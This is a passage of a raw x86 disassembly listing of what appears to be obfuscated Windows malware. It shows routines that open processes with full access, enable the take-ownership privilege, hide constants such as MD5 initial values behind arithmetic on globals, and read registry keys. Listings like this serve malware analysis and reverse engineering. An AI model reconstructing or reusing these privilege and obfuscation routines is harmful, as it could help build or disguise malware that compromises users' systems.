sub edi, 7
jmp loc_43EF05
; ---------------------------------------------------------------------------
loc_43ECFA: ; CODE XREF: sub_43ECD2+18j
push ebx
movsx eax, word_54F13C
sub eax, 9
push eax
push 1F0FFFh
call ds:dword_54DF2C
mov esi, eax
lea eax, [ebp+var_4]
push eax
push 28h
push esi
call ds:dword_449080
mov edi, eax
mov edx, dword_54F124
add edx, dword_54F1F4
mov ecx, dword_54F0C0
sub ecx, 2
mov [ebp+edx*4+var_68], ecx
mov eax, dword_54F0C0
sub eax, 2
cmp edi, eax
jz loc_43EF05
lea eax, [ebp+var_40]
push eax
push 28h
lea eax, [ebp+var_3C]
push eax
mov eax, dword_54F1A0
add eax, 0Ah
add eax, dword_54F1EC
push eax
push [ebp+var_4]
call ds:dword_4CC90C
mov edi, eax
cmp [ebp+arg_0], 0
jz short loc_43EDCE
mov eax, dword_54F100
sub eax, 9
cmp edi, eax
jnz short loc_43ED8F
mov edi, dword_54F0AC
sub edi, 6
jmp loc_43EF05
; ---------------------------------------------------------------------------
loc_43ED8F: ; CODE XREF: sub_43ECD2+ADj
mov eax, dword_54F120
mov edi, eax
add edi, dword_54F180
sub edi, 7
mov eax, dword_54F214
movsx edx, word_54F218
add eax, edx
sub eax, 3
cmp [ebp+var_3C], eax
jz loc_43EF05
mov eax, dword_54F23C
mov edi, eax
add edi, dword_54F0DC
sub edi, 4
jmp loc_43EF05
; ---------------------------------------------------------------------------
loc_43EDCE: ; CODE XREF: sub_43ECD2+A1j
mov eax, dword_54F160
sub eax, 7
cmp dword_54F28C, eax
jnz short loc_43EDF6
mov eax, dword_54F1A0
add eax, 3FF8h
push eax
push 40h
call ds:dword_4899EC
mov dword_54F28C, eax
loc_43EDF6: ; CODE XREF: sub_43ECD2+10Aj
lea eax, [ebp+var_40]
push eax
movsx eax, word_54F244
mov edx, dword_54F100
lea eax, [eax+edx+3FF0h]
push eax
push dword_54F28C
push 1
push [ebp+var_4]
call ds:dword_4CC90C
mov eax, dword_54F200
add eax, dword_54F1B0
sub eax, 0Ch
cmp dword_54F288, eax
jnz short loc_43EE45
push 14h
push 0
call ds:dword_4899EC
mov dword_54F288, eax
loc_43EE45: ; CODE XREF: sub_43ECD2+162j
push 1
push dword_54F288
call ds:dword_447008
mov edi, eax
push 0
mov eax, dword_54F168
movsx edx, word_54F208
add eax, edx
sub eax, 3
push eax
push 1
push dword_54F288
call ds:dword_48A1E4
mov edi, eax
push 0
mov eax, dword_54F28C
push dword ptr [eax]
push dword_54F288
call ds:dword_4899E8
mov edi, eax
lea eax, [ebp+var_10]
push eax
push offset aSetakeownershi ; "SeTakeOwnershipPrivilege"
mov eax, dword_54F170
sub eax, 4
push eax
call ds:dword_446020
mov edi, eax
mov [ebp+var_8], 2
mov eax, dword_54F1B0
sub eax, 7
cmp edi, eax
jz short loc_43EF05
movsx eax, word_54F1F0
movsx edx, word_54F148
add eax, edx
sub eax, 6
mov [ebp+var_14], eax
movsx eax, word_54F0B4
sub eax, 5
push eax
movsx eax, word_54F164
add eax, dword_54F1FC
dec eax
push eax
mov eax, dword_54F140
dec eax
push eax
lea eax, [ebp+var_14]
push eax
push 0
push [ebp+var_4]
call ds:dword_4CB81C
mov edi, eax
loc_43EF05: ; CODE XREF: sub_43ECD2+23j
; sub_43ECD2+73j ...
push esi
call ds:dword_4CB948
push [ebp+var_4]
call ds:dword_4CB948
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_43ECD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EF1C proc near ; CODE XREF: sub_43CE88+B1p
; sub_43CE88+19Fp
var_10038 = dword ptr -10038h
var_10004 = dword ptr -10004h
var_FFFF = byte ptr -0FFFFh
var_FFFB = byte ptr -0FFFBh
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10004h
call sub_4455B4
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
lea edi, dword_4CA440
cmp [ebp+arg_4], 43h
jnz short loc_43EF41
lea edi, dword_4490A0
loc_43EF41: ; CODE XREF: sub_43EF1C+1Dj
cmp [ebp+arg_4], 50h
jnz short loc_43EF4D
lea edi, dword_4CB830
loc_43EF4D: ; CODE XREF: sub_43EF1C+29j
mov eax, dword_54F0C8
dec eax
push eax
push 80h
push 3
mov eax, dword_54F1D8
movsx edx, word_54F094
add eax, edx
sub eax, 6
push eax
push 3
push 0C0000000h
push edi
call ds:dword_54DB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_43F04D
push 0
mov eax, dword_54F188
sub eax, 5
push eax
push esi
push edi
call ds:dword_54DF30
mov eax, dword_54F214
add eax, dword_54F17C
sub eax, 0Ah
push eax
lea eax, [ebp+var_10004]
push eax
push 0FFFFh
lea eax, [ebp+var_FFFF]
push eax
push edi
call ds:dword_446034
lea ecx, [ebp+var_FFFB]
or eax, 0FFFFFFFFh
loc_43EFCB: ; CODE XREF: sub_43EF1C+B4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43EFCB
mov edx, dword_54F154
add edx, dword_54F178
sub edx, 0Ch
mov ebx, eax
add ebx, edx
mov [ebp+var_10004], ebx
push 0
movsx eax, word_54F0FC
add eax, dword_54F188
sub eax, 7
push eax
push esi
push edi
call ds:dword_54DF30
mov esi, dword_54F1BC
add esi, dword_54F1C8
mov ebx, [ebp+var_10004]
mov [ebp+esi*4+var_10038+1], ebx
mov eax, dword_54F15C
sub eax, 4
push eax
lea eax, [ebp+var_10004]
push eax
mov eax, dword_54F1FC
add eax, 4
push eax
lea eax, [ebp+var_FFFF]
push eax
push edi
call ds:dword_54DF1C
push edi
call ds:dword_4CB948
loc_43F04D: ; CODE XREF: sub_43EF1C+64j
pop edi
pop esi
pop ebx
leave
retn
sub_43EF1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F052 proc near ; CODE XREF: sub_43B3AD+A8p
var_11C = dword ptr -11Ch
var_DC = dword ptr -0DCh
var_9C = dword ptr -9Ch
var_5C = dword ptr -5Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
mov edx, [eax+4]
mov [ebp+var_8], edx
mov eax, [eax+0Ch]
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_C], eax
lea edi, [ebp+var_11C]
lea esi, dword_54F360
mov ecx, 10h
rep movsd
lea edi, [ebp+var_5C]
lea esi, dword_54F3A0
mov ecx, 10h
rep movsd
lea edi, [ebp+var_9C]
lea esi, dword_54F3E0
mov ecx, 10h
rep movsd
lea edi, [ebp+var_DC]
lea esi, dword_54F420
mov ecx, 10h
rep movsd
mov eax, dword_54F174
mov ebx, eax
add ebx, eax
sub ebx, 0Eh
jmp loc_43F206
; ---------------------------------------------------------------------------
loc_43F0D5: ; CODE XREF: sub_43F052+1C0j
mov edi, ebx
shl edi, 2
push [ebp+edi+var_11C]
mov edi, dword_54F18C
add edi, 6
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
call sub_43BA46
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_54F1F8
inc eax
cmp ebx, eax
jz short loc_43F15A
mov edi, ebx
add edi, dword_54F224
push [ebp+edi*4+var_11C]
movsx edi, word_54F190
add edi, dword_54F0B0
dec edi
push edi
mov edi, dword_54F1F4
sub edi, 8
mov esi, ebx
add esi, edi
mov edi, [ebp+arg_4]
push dword ptr [edi+esi*4]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_43BA46
add esp, 1Ch
mov [ebp+var_10], eax
loc_43F15A: ; CODE XREF: sub_43F052+BEj
mov edi, dword_54F168
movsx esi, word_54F148
add edi, esi
dec edi
mov esi, ebx
add esi, edi
push [ebp+esi*4+var_11C]
movsx edi, word_54F0D0
add edi, 0Bh
push edi
movsx edi, word_54F1CC
sub edi, 7
mov esi, ebx
add esi, edi
mov edi, [ebp+arg_4]
push dword ptr [edi+esi*4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
call sub_43BA46
mov [ebp+var_4], eax
movsx edi, word_54F210
add edi, dword_54F1F8
sub edi, 5
mov esi, ebx
add esi, edi
push [ebp+esi*4+var_11C]
mov edi, dword_54F1BC
add edi, 10h
push edi
movsx edi, word_54F198
add edi, 2
mov esi, ebx
add esi, edi
mov edi, [ebp+arg_4]
push dword ptr [edi+esi*4]
push [ebp+var_C]
push [ebp+var_10]
push eax
push [ebp+var_8]
call sub_43BA46
add esp, 38h
mov [ebp+var_8], eax
mov eax, dword_54F160
add eax, dword_54F154
sub eax, 0Bh
add ebx, eax
loc_43F206: ; CODE XREF: sub_43F052+7Ej
movsx eax, word_54F164
add eax, 0Bh
cmp ebx, eax
jbe loc_43F0D5
mov eax, dword_54F154
mov ebx, eax
add ebx, dword_54F15C
sub ebx, 0Bh
mov eax, dword_54F100
movsx edx, word_54F0FC
add eax, edx
sub eax, 0Bh
mov [ebp+var_14], eax
jmp loc_43F3DA
; ---------------------------------------------------------------------------
loc_43F241: ; CODE XREF: sub_43F052+393j
mov edi, [ebp+var_14]
push [ebp+edi*4+var_5C]
mov edi, dword_54F178
sub edi, 4
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
call sub_43BAED
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_54F24C
sub eax, 4
add ebx, eax
mov eax, dword_54F204
add eax, 0Eh
cmp ebx, eax
jb short loc_43F28F
mov eax, dword_54F1B4
add eax, 0Ch
sub ebx, eax
loc_43F28F: ; CODE XREF: sub_43F052+231j
mov edi, [ebp+var_14]
mov esi, dword_54F0DC
sub esi, 3
add edi, esi
push [ebp+edi*4+var_5C]
mov edi, dword_54F174
movsx esi, word_54F240
add edi, esi
sub edi, 6
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_43BAED
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_54F0D4
add eax, dword_54F0E4
sub eax, 5
add ebx, eax
mov eax, dword_54F0E4
add eax, 4
add eax, dword_54F174
cmp ebx, eax
jb short loc_43F2FD
mov eax, dword_54F1B4
add eax, 0Ch
sub ebx, eax
loc_43F2FD: ; CODE XREF: sub_43F052+29Fj
mov edi, [ebp+var_14]
movsx esi, word_54F210
add esi, dword_54F200
sub esi, 8
add edi, esi
push [ebp+edi*4+var_5C]
mov edi, dword_54F18C
add edi, 9
add edi, dword_54F1E4
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
call sub_43BAED
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_54F178
sub eax, 4
add ebx, eax
mov eax, dword_54F238
add eax, 10h
cmp ebx, eax
jb short loc_43F363
mov eax, dword_54F0D8
add eax, 0Ah
sub ebx, eax
loc_43F363: ; CODE XREF: sub_43F052+305j
mov edi, [ebp+var_14]
mov esi, dword_54F200
sub esi, 2
add edi, esi
push [ebp+edi*4+var_5C]
movsx edi, word_54F0C4
add edi, 0Eh
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_43BAED
add esp, 1Ch
mov [ebp+var_8], eax
mov eax, dword_54F100
sub eax, 4
add ebx, eax
movsx eax, word_54F210
mov edx, dword_54F1A0
lea eax, [eax+edx+3]
cmp ebx, eax
jb short loc_43F3CF
mov eax, dword_54F170
add eax, 8
movsx edx, word_54F144
add eax, edx
sub ebx, eax
loc_43F3CF: ; CODE XREF: sub_43F052+368j
mov eax, dword_54F18C
add eax, 3
add [ebp+var_14], eax
loc_43F3DA: ; CODE XREF: sub_43F052+1EAj
mov eax, dword_54F224
add eax, 0Bh
cmp [ebp+var_14], eax
jbe loc_43F241
mov ebx, dword_54F0BC
add ebx, 5
movsx eax, word_54F138
sub eax, 3
mov [ebp+var_18], eax
jmp loc_43F59F
; ---------------------------------------------------------------------------
loc_43F406: ; CODE XREF: sub_43F052+55Aj
mov edi, [ebp+var_18]
push [ebp+edi*4+var_9C]
mov edi, dword_54F0C8
add edi, 3
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
call sub_43CD8F
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_54F0E0
sub eax, 3
add ebx, eax
mov eax, dword_54F114
add eax, 0Fh
cmp ebx, eax
jb short loc_43F459
movsx eax, word_54F0C4
add eax, 0Ah
sub ebx, eax
loc_43F459: ; CODE XREF: sub_43F052+3F9j
mov edi, [ebp+var_18]
mov esi, dword_54F0D4
sub esi, 4
add edi, esi
push [ebp+edi*4+var_9C]
mov edi, dword_54F100
add edi, 2
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_43CD8F
add esp, 1Ch
mov [ebp+var_10], eax
movsx eax, word_54F244
movsx edx, word_54F104
add eax, edx
sub eax, 4
add ebx, eax
mov eax, dword_54F0E4
add eax, 0Bh
cmp ebx, eax
jb short loc_43F4C6
mov eax, dword_54F23C
add eax, 0Fh
add eax, dword_54F130
sub ebx, eax
loc_43F4C6: ; CODE XREF: sub_43F052+462j
mov edi, [ebp+var_18]
mov esi, dword_54F1B4
sub esi, 2
add edi, esi
push [ebp+edi*4+var_9C]
mov edi, dword_54F1E0
add edi, 0Ch
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
call sub_43CD8F
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_54F1C0
add eax, 2
add ebx, eax
movsx eax, word_54F144
add eax, 0Ch
cmp ebx, eax
jb short loc_43F524
mov eax, dword_54F1C8
add eax, 8
sub ebx, eax
loc_43F524: ; CODE XREF: sub_43F052+4C6j
mov edi, [ebp+var_18]
mov esi, dword_54F1F4
movsx edx, word_54F208
add esi, edx
sub esi, 7
add edi, esi
push [ebp+edi*4+var_9C]
mov edi, dword_54F158
add edi, 12h
add edi, dword_54F134
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_43CD8F
add esp, 1Ch
mov [ebp+var_8], eax
mov eax, dword_54F230
add eax, 2
add ebx, eax
mov eax, dword_54F1E0
add eax, 0Bh
add eax, dword_54F0C8
cmp ebx, eax
jb short loc_43F597
movsx eax, word_54F190
add eax, 8
sub ebx, eax
loc_43F597: ; CODE XREF: sub_43F052+537j
mov eax, dword_54F170
add [ebp+var_18], eax
loc_43F59F: ; CODE XREF: sub_43F052+3AFj
movsx eax, word_54F138
add eax, 9
cmp [ebp+var_18], eax
jbe loc_43F406
mov ebx, dword_54F0A4
sub ebx, 7
mov eax, dword_54F0E4
add eax, dword_54F140
sub eax, 6
mov [ebp+var_1C], eax
jmp loc_43F798
; ---------------------------------------------------------------------------
loc_43F5D1: ; CODE XREF: sub_43F052+751j
mov edi, [ebp+var_1C]
push [ebp+edi*4+var_DC]
mov edi, dword_54F248
add edi, 2
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
call sub_43B370
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_54F1C0
add eax, 6
add eax, dword_54F238
add ebx, eax
mov eax, dword_54F1C8
add eax, 8
cmp ebx, eax
jb short loc_43F628
mov eax, dword_54F0D8
add eax, 0Ah
sub ebx, eax
loc_43F628: ; CODE XREF: sub_43F052+5CAj
mov edi, [ebp+var_1C]
movsx esi, word_54F104
add esi, dword_54F110
sub esi, 8
add edi, esi
push [ebp+edi*4+var_DC]
mov edi, dword_54F184
movsx esi, word_54F1A4
add edi, esi
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_43B370
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_54F14C
add eax, 4
add eax, dword_54F224
add ebx, eax
movsx eax, word_54F194
mov edx, dword_54F1C8
lea eax, [eax+edx+7]
cmp ebx, eax
jb short loc_43F6A9
movsx eax, word_54F164
mov edx, dword_54F178
lea eax, [eax+edx+6]
sub ebx, eax
loc_43F6A9: ; CODE XREF: sub_43F052+642j
mov edi, [ebp+var_1C]
mov esi, dword_54F0D8
sub esi, 4
add edi, esi
push [ebp+edi*4+var_DC]
mov edi, dword_54F1D8
add edi, 6
add edi, dword_54F0E4
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
call sub_43B370
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_54F214
add eax, 4
add ebx, eax
mov eax, dword_54F1C0
add eax, 0Fh
cmp ebx, eax
jb short loc_43F714
mov eax, dword_54F0E4
add eax, 5
movsx edx, word_54F0C4
add eax, edx
sub ebx, eax
loc_43F714: ; CODE XREF: sub_43F052+6ADj
mov edi, [ebp+var_1C]
movsx esi, word_54F0C4
sub esi, 3
add edi, esi
push [ebp+edi*4+var_DC]
mov edi, dword_54F11C
add edi, 11h
add edi, dword_54F168
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_43B370
add esp, 1Ch
mov [ebp+var_8], eax
movsx eax, word_54F148
movsx edx, word_54F0A8
lea eax, [eax+edx+6]
add ebx, eax
mov eax, dword_54F1C0
add eax, 0Fh
add eax, dword_54F180
cmp ebx, eax
jb short loc_43F790
mov eax, dword_54F21C
add eax, 9
movsx edx, word_54F138
add eax, edx
sub ebx, eax
loc_43F790: ; CODE XREF: sub_43F052+729j
mov eax, dword_54F15C
add [ebp+var_1C], eax
loc_43F798: ; CODE XREF: sub_43F052+57Aj
mov eax, dword_54F154
add eax, 4
cmp [ebp+var_1C], eax
jbe loc_43F5D1
mov edi, [ebp+arg_0]
mov esi, dword_54F1F8
add esi, dword_54F1A0
mov ebx, [edi+0Ch]
add ebx, [ebp+var_10]
mov [edi+esi*4-20h], ebx
movsx esi, word_54F094
add esi, dword_54F130
mov ebx, [edi]
add ebx, [ebp+var_C]
mov [edi+esi*4-0Ch], ebx
movsx esi, word_54F240
add esi, dword_54F200
mov ebx, [edi+8]
add ebx, [ebp+var_4]
mov [edi+esi*4-2Ch], ebx
mov esi, dword_54F18C
mov ebx, [edi+4]
add ebx, [ebp+var_8]
mov [edi+esi*4], ebx
pop edi
pop esi
pop ebx
leave
retn
sub_43F052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F803 proc near ; DATA XREF: .data:0054F2ACo
push ebp
mov ebp, esp
push offset dword_54DB14
call ds:dword_4899F8
mov eax, ds:dword_54DB14
pop ebp
retn 4
sub_43F803 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F81A proc near ; CODE XREF: sub_43E364+32Dp
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_303 = byte ptr -303h
var_20D = byte ptr -20Dh
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_FF = byte ptr -0FFh
var_FD = byte ptr -0FDh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 318h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov edi, dword_54F140
dec edi
jmp loc_43FA63
; ---------------------------------------------------------------------------
loc_43F838: ; CODE XREF: sub_43F81A+253j
push offset word_54FDFA
call sub_43AAF7
push edi
push eax
lea edx, [ebp+var_303]
push edx
call ds:dword_50C928
mov eax, dword_54F188
add eax, 0FAh
add eax, dword_54F18C
mov [ebp+var_204], eax
push offset dword_54FDE8
call sub_43AAF7
lea edx, [ebp+var_314]
push edx
lea edx, [ebp+var_204]
push edx
lea edx, [ebp+var_FF]
push edx
push eax
lea edx, [ebp+var_303]
push edx
push 80000001h
call sub_440B18
add esp, 2Ch
mov [ebp+var_310], eax
test eax, eax
jz loc_43FA62
lea eax, [ebp+var_1FE]
push eax
lea eax, [ebp+var_FD]
push eax
call sub_43BBFE
mov eax, dword_54F0E0
add eax, dword_54F200
sub eax, 0Ah
push eax
lea eax, [ebp+var_1FE]
push eax
push ebx
call sub_43DE22
add esp, 14h
mov edx, dword_54F16C
add edx, 0FFFAh
cmp eax, edx
jz loc_43FA62
push offset word_54FD8A
call sub_43AAF7
pop ecx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_4455D4
mov eax, dword_54F184
add eax, dword_54F160
sub eax, 0Bh
mov [ebp+var_30C], eax
mov eax, dword_54F1F4
sub eax, 9
mov [ebp+var_308], eax
jmp short loc_43F960
; ---------------------------------------------------------------------------
loc_43F92B: ; CODE XREF: sub_43F81A+150j
mov eax, [ebp+var_308]
cmp [ebp+eax+var_FF], 23h
jnz short loc_43F95A
mov eax, [ebp+var_308]
mov edx, dword_54F110
movsx ecx, word_54F09C
add edx, ecx
sub edx, 0Fh
mov [ebp+eax+var_FF], dl
loc_43F95A: ; CODE XREF: sub_43F81A+11Fj
inc [ebp+var_308]
loc_43F960: ; CODE XREF: sub_43F81A+10Fj
cmp [ebp+var_308], 0FFh
jb short loc_43F92B
loc_43F96C: ; CODE XREF: sub_43F81A+242j
mov eax, dword_54F0E8
add eax, 0FBh
add eax, dword_54F0DC
mov [ebp+var_204], eax
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_1FE]
push eax
mov eax, [ebp+var_30C]
lea eax, [ebp+eax+var_FF]
push eax
lea eax, [ebp+var_303]
push eax
push 80000001h
call sub_440B18
add esp, 18h
mov [ebp+var_310], eax
test eax, eax
jnz short loc_43F9E3
movsx eax, word_54F1E8
movsx edx, word_54F190
add eax, edx
mov edx, dword_54F134
sub edx, 2
mov [ebp+eax+var_20D], dl
loc_43F9E3: ; CODE XREF: sub_43F81A+1A7j
mov eax, [ebp+var_30C]
mov [ebp+var_318], eax
lea ecx, [ebp+eax+var_FF]
or eax, 0FFFFFFFFh
loc_43F9F9: ; CODE XREF: sub_43F81A+1E4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F9F9
mov ecx, [ebp+var_318]
add ecx, eax
mov [ebp+var_30C], ecx
lea eax, [ebp+var_1FE]
push eax
push esi
call ds:dword_44602C
add esp, 8
push offset byte_54FD85
call sub_43AAF7
add esp, 4
push eax
push esi
call ds:dword_44602C
add esp, 8
inc [ebp+var_30C]
mov eax, [ebp+var_30C]
movzx eax, [ebp+eax+var_FF]
mov edx, dword_54F158
add edx, dword_54F1BC
sub edx, 9
cmp eax, edx
jnz loc_43F96C
loc_43FA62: ; CODE XREF: sub_43F81A+89j
; sub_43F81A+CFj
inc edi
loc_43FA63: ; CODE XREF: sub_43F81A+19j
mov eax, dword_54F110
add eax, 15h
cmp edi, eax
jb loc_43F838
pop edi
pop esi
pop ebx
leave
retn
sub_43F81A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FA78 proc near ; DATA XREF: .data:0054F2B0o
push ebp
mov ebp, esp
movsx eax, word_54F208
dec eax
cmp ds:dword_54DB14, eax
jbe short loc_43FA96
push offset dword_54DB14
call ds:dword_446014
loc_43FA96: ; CODE XREF: sub_43FA78+11j
mov eax, ds:dword_54DB14
pop ebp
retn 4
sub_43FA78 endp
; =============== S U B R O U T I N E =======================================
sub_43FA9F proc near ; CODE XREF: sub_43B3AD+83p
arg_0 = dword ptr 4
push ebx
push esi
mov ecx, [esp+8+arg_0]
mov esi, dword_54F214
mov ebx, dword_54F0D8
add ebx, 0EFCDAB82h
movsx edx, word_54F0CC
add ebx, edx
mov [ecx+esi*4-8], ebx
movsx esi, word_54F138
mov ebx, dword_54F160
add ebx, 1032546Fh
mov [ecx+esi*4], ebx
movsx esi, word_54F1C4
add esi, dword_54F100
mov ebx, dword_54F150
add ebx, 98BADCF4h
add ebx, dword_54F1BC
mov [ecx+esi*4-3Ch], ebx
mov esi, dword_54F110
movsx ebx, word_54F148
add ebx, 67452300h
mov [ecx+esi*4-24h], ebx
pop esi
pop ebx
retn
sub_43FA9F endp
; =============== S U B R O U T I N E =======================================
sub_43FB17 proc near ; CODE XREF: sub_444ED7+2Fp
push edi
push offset word_54FD7A
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F26C, eax
mov eax, dword_54F10C
movsx edx, word_54F128
add eax, edx
sub eax, 7
cmp dword_54F26C, eax
jnz short loc_43FB5F
push offset asc_54FD6F ; "\a"
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F26C, eax
loc_43FB5F: ; CODE XREF: sub_43FB17+2Fj
movsx eax, word_54F128
sub eax, 5
cmp dword_54F26C, eax
jz short loc_43FB8E
push offset byte_54FD59
call sub_43AAF7
pop ecx
push eax
push dword_54F26C
call ds:dword_4491AC
mov ds:dword_4495B4, eax
loc_43FB8E: ; CODE XREF: sub_43FB17+58j
pop edi
retn
sub_43FB17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FB90 proc near ; CODE XREF: sub_43B0C6+8Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, ebx
shr edi, 4
mov eax, edi
mov ecx, dword_54F174
add ecx, 9
mul ecx
mov [ebp+var_4], eax
mov esi, ebx
sub esi, eax
movsx ebx, word_54F104
inc ebx
mov ecx, esi
mov esi, ebx
shl esi, cl
mov ebx, [ebp+arg_0]
movzx ebx, word ptr [ebx+edi*2]
mov edi, ebx
and edi, esi
cmp edi, esi
jnz short loc_43FBE4
movsx eax, word_54F144
mov edi, eax
add edi, dword_54F098
sub edi, 0Ch
jmp short loc_43FBF6
; ---------------------------------------------------------------------------
loc_43FBE4: ; CODE XREF: sub_43FB90+3Ej
movsx eax, word_54F0F8
mov edi, eax
add edi, dword_54F140
sub edi, 6
loc_43FBF6: ; CODE XREF: sub_43FB90+52j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_43FB90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FBFD proc near ; CODE XREF: sub_43D41A+16Fp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_4437E1
add esp, 8
mov esi, eax
movsx eax, word_54F194
dec eax
cmp esi, eax
jnz short loc_43FC2A
xor eax, eax
jmp loc_43FCD3
; ---------------------------------------------------------------------------
loc_43FC2A: ; CODE XREF: sub_43FBFD+24j
mov eax, dword_54F1A0
mov edi, eax
add edi, dword_54F1E0
sub edi, 8
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43FC42: ; CODE XREF: sub_43FBFD+4Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43FC42
mov [ebp+var_8], eax
loc_43FC4C: ; CODE XREF: sub_43FBFD+CBj
lea ecx, [esi+edi]
or eax, 0FFFFFFFFh
loc_43FC52: ; CODE XREF: sub_43FBFD+5Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43FC52
mov ebx, eax
sub ebx, [ebp+arg_8]
cmp ebx, [ebp+var_8]
jnz short loc_43FCB2
mov [ebp+var_10], 1
movsx eax, word_54F128
sub eax, 5
mov [ebp+var_C], eax
jmp short loc_43FC9B
; ---------------------------------------------------------------------------
loc_43FC79: ; CODE XREF: sub_43FBFD+A1j
mov eax, [ebp+var_C]
mov edx, edi
add edx, eax
add edx, [ebp+arg_8]
movzx edx, byte ptr [esi+edx]
mov ecx, [ebp+arg_4]
movsx eax, byte ptr [ecx+eax]
cmp edx, eax
jz short loc_43FC98
and [ebp+var_10], 0
jmp short loc_43FCA0
; ---------------------------------------------------------------------------
loc_43FC98: ; CODE XREF: sub_43FBFD+93j
inc [ebp+var_C]
loc_43FC9B: ; CODE XREF: sub_43FBFD+7Aj
cmp [ebp+var_C], ebx
jb short loc_43FC79
loc_43FCA0: ; CODE XREF: sub_43FBFD+99j
cmp [ebp+var_10], 0
jz short loc_43FCB2
push esi
call ds:dword_4495CC
xor eax, eax
inc eax
jmp short loc_43FCD3
; ---------------------------------------------------------------------------
loc_43FCB2: ; CODE XREF: sub_43FBFD+64j
